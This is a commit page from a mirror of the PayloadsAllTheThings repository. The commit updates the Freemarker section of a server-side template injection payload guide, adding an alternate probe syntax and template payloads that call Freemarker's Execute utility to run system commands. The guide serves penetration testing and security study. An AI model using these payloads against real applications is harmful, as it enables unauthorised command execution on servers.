Mirrors/PayloadsAllTheThings
2
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2024-12-04 18:40:41 +00:00
Code Issues Projects Releases Packages Wiki Activity

Update README.md

Browse source
This commit is contained in:
Aur0ra 2022-12-27 18:30:20 +08:00 committed by GitHub
parent 514ac98dac
commit 29c23ac7fd
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23
1 changed files with 3 additions and 1 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

4
Server Side Template Injection/README.md
View file

@ -199,7 +199,7 @@ You can try your payloads at [https://try.freemarker.apache.org](https://try.fre
### Freemarker - Basic injection
The template can be `${3*3}` or the legacy `#{3*3}`.
The template can be `${3*3}` `#{3*3}` or the legacy `[=3*3]`.
### Freemarker - Read File
@ -214,6 +214,8 @@ Convert the returned bytes to ASCII
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
#{"freemarker.template.utility.Execute"?new()("id")}
[="freemarker.template.utility.Execute"?new()("id")]
```
### Freemarker - Sandbox bypass